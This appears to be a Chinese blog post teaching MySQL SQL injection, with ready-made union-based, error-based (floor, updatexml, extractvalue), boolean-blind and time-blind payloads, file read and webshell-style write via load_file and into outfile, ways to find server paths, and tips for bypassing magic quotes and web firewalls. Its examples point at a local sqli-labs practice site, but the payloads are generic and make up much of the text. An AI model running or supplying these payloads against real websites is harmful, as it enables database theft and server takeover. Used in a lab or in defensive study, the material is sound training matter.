SQL注入手法和思路(一)

MYSQL联合查询注入

MYSQL数据库知识

  1. 在MYSQL5.0以上版本中,MYSQL存在一个自带数据库名为information_schema,它是一个存储记录有所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或者列名信息。

低版本注入配合读取或暴力:字典或读取(assess数据库采用)

  1. 常用参数

information_schema.tables:记录所有表名信息的表

information_schema.columns:记录所有列名信息的表

table_name:表名 column_name:列名 table_schema:数据库名

user() 查看当前MySQL登录的用户名

database() 查看当前使用MySQL数据库名

version() 查看当前MySQL版本

注入利用

 1 //根据注入页面回馈闭合,闭合后为错误页面则为闭合符号或是闭合符的一部分。
 2 ?id=1' order by 3--+ //order by //猜解表的字段,超出后返回错误
 3     
 4 ?id=-1 union select 1,database(),version() --+//判断数据库类型版本
 5     
 6 ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='已知库名'--+   //获取表名
 7     
 8 ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='已知表名'--+   //获取字段名
 9 
10 ?id=-1' union select 1,2,group_concat(已知字段名,已知字段名) from 已知表名--+//获取字段值
11     小tips  字段位置只能出现一个值,group_concat()函数把信息封装成一个数组。

 

回显/盲注

select语句返回的是结果表,insert update delete返回的是影响的数据行数和布尔值

Query OK, 1 row affected (0.05 sec)

select语句一般会有回显,其他三个可能没有 。还是要看开发者程序的编写

盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行半段或者尝试,这个过程称之为盲注。

      • 基于布尔的SQL盲注-逻辑判断(优先级:2)

使用函数 regexp,like,ascii,left,ord,

      • 基于时间的SQL盲注-延时判断(优先级:3)

使用函数 if,sleep

      • 基于报错的SQL盲注-报错回显(优先级:1)

使用 floor,updatexml,extractvalue

报错回显

报错回显是利用一些函数使错误回显在页面上或携带在页面代码中,通过函数将想要获取的信息包含在错误中。

● floor

闭合符 or(select 1 from(select count(*),concat((select(select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or 闭合符 // 利用rand()函数与group()函数的相互冲突

● updatexml

闭合符 or updatexml(1,concat(0x7e,(version())),0) or 闭合符

● extractvalue

闭合符or extractvalue(1,concat(0x7e,database())),0) or 闭合符

 

tpis:在brup改get时要用+或者%20把语句拼起来不然会识别成其他,0x7e代表波浪线,0是空字节,为了自动化程序和手工时更好查看信息。

布尔逻辑判断

页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据

当前数据库database()的长度大于10,返回true页面,否则FALSE页面:

http://127.0.0.1/Less-8/?id=1'and (length(database()))>10 --+

count(*)计数   concat()连接字符   floor()重复数据,返回0,1两个值  group by 进行分组 rand(0)避免数据重复造成的错误

猜当前数据库第一个字符

http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1'and ascii(substr(database(),1,1))>114#

利用二分法,115为fal,114TRUE,数据库第一个字符ASCII为115,即s

同理修改substr(database(),2,1)可猜第二个字符,之后同理,当然在猜数据库字符前也可先猜数据库长度:length(database())

http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and ascii(substr(database(),1,1))>114# 这条语句在后台为:

SELECT * FROM users WHERE id='1' and ascii(substr(database(),1,1))>114#'(后面单引号被#注释掉)

延时判断

页面没有回显也没有正确错误之分,这时采用延时判断,和布尔判断大差不差。

//取数据库第一位的一个字符,如果ascii码值等于115,正确则延时5秒
and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+  
//取一个表名的第一个字符值,判断是否等于101,正确则延时秒
and if(ascii(substr((select table_name from information_schema.tables 
where table_schema=database() limit 0,1),1,1))=101,sleep(3),0)--+

 

函数解释

  • floor函数的作用是返回小于等于该值的最大整数,也可以理解为向下取整,只保留整数部分。
  • like 'ro%' #判断ro或ro...是否成立
  • regexp '^xiaodi[1-z]' #匹配xiaodi及xiaodi...等
  • if(条件,5,0) #条件成立,返回5,反之,返回0
  • sleep(5) #SQL语句延时执行5秒
  • mid(a,b,c) #从位置b开始,截取a字符串的c位
  • substr(a,b,c) #从B位置开始,截取字符串a的c长度
  • left(database(),1),database() #left(a,b)从左侧截取a的前b位
  • length(database())=8 #判断数据库database()名的长度
  • ord=ascii ascii(x)=97 #判断x的ascii码是否等于97

 

 

mysql获取权限

https://www.yuque.com/maple-wdwdl/bz3hd1/hw5q7g

高权限下MYSQL操作

跨库查询

information_schema 表特性,记录库名,表名,列名对应表

通过select * from schemata; 进行数据库名查询,再去选择进行查询获取指明数据库里的数据

获取所有数据库名后获取指定数据库名下的表名信息,列名信息,字段信息。

文件读写

会用到MySQL数据库里两个内置函数,这两个函数是MySQL数据库特有的,在其他数据库是没有的或者在其他数据库中写法不 同,所以这是为什么说注入点分数据库的原因,因为每个数据库内置的安全机制和它的功能不同,这才导致在注入的时候针对不用的数据库采取的攻击思路也不同。MySQL有内置读取的操作函数,我们可以调用这个函数作为注入的攻击。

//load_file():读取函数   
?id=-1' union select 1,load_file('文件路径'),3 from 已知表名 --+

//into outfile 或 into dumpfile:写入函数
?id=-1' union select 1,'写入内容',3 into outfile('想要写入文件路径') --+

路径获取常见方法:

报错显示:一般网站出现错误的时候它会泄露出路径

遗留文件:站长为了调试信息的时候遗留的文件而泄露的 路径。用扫描工具可以扫出

漏洞报错:知道对方是用什么程序搭建再去网上去搜索漏洞信息:phpcms 爆路径

平台配置文件:通过读取文件来读取搭建网站平台的配置文件。缺点:路径不是默认的,一旦更改很难找到路径

爆破 常见路径 windows: d:/wwwroot/xiaodi8/ linux:/var/www/xiaodi8

 

常见防注入

自带防御:魔术引号

常见写入文件问题:

魔术引号若是打开的话,所有的反斜线(\)、单引号(')、双引号(")、NULL 字符都会被自动加上一个反斜线进行转义,这和 addslashes() 作用完全相同。

PHP中的一些函数:

set_magic_quotes_runtime(),设置当前magic_quotes_runtime 配置选项的激活状态,0为关闭,1为开启。遇到反斜线(\)、单引号(')、双引号(")、NULL时,会在前面自动加上转义字符,变成\\、\'、\”、\NULL;还可以借助addslashes进行转义。

magic_quotes_gpc(),当此值为1时,会对HTTP请求中的G($_GET)、P($_POST)、C($_COOKIE)单双引号和反斜线进行转义;反之则不会。该操作一般见于表单提交的数据库操作,若是值为0时,便用addslashes进行转义存入数据库中,取出时再用stripslashes函数把反斜线给去掉。

特别注意的是在PHP 5.4版本时,魔术引号被移除了,因此转义都需要加上addslashes函数。绕过思路:编码或宽字节绕过:比如在sqlmap中添加--temper脚本参数转码或者使用转换工具

内置函数,判断数据类型

replace,替换关键词

WAF防护软件:安全狗、宝塔等

 

 

 

 

posted @ 2022-04-17 18:10  Maple、、、  阅读(256)  评论(0)    收藏  举报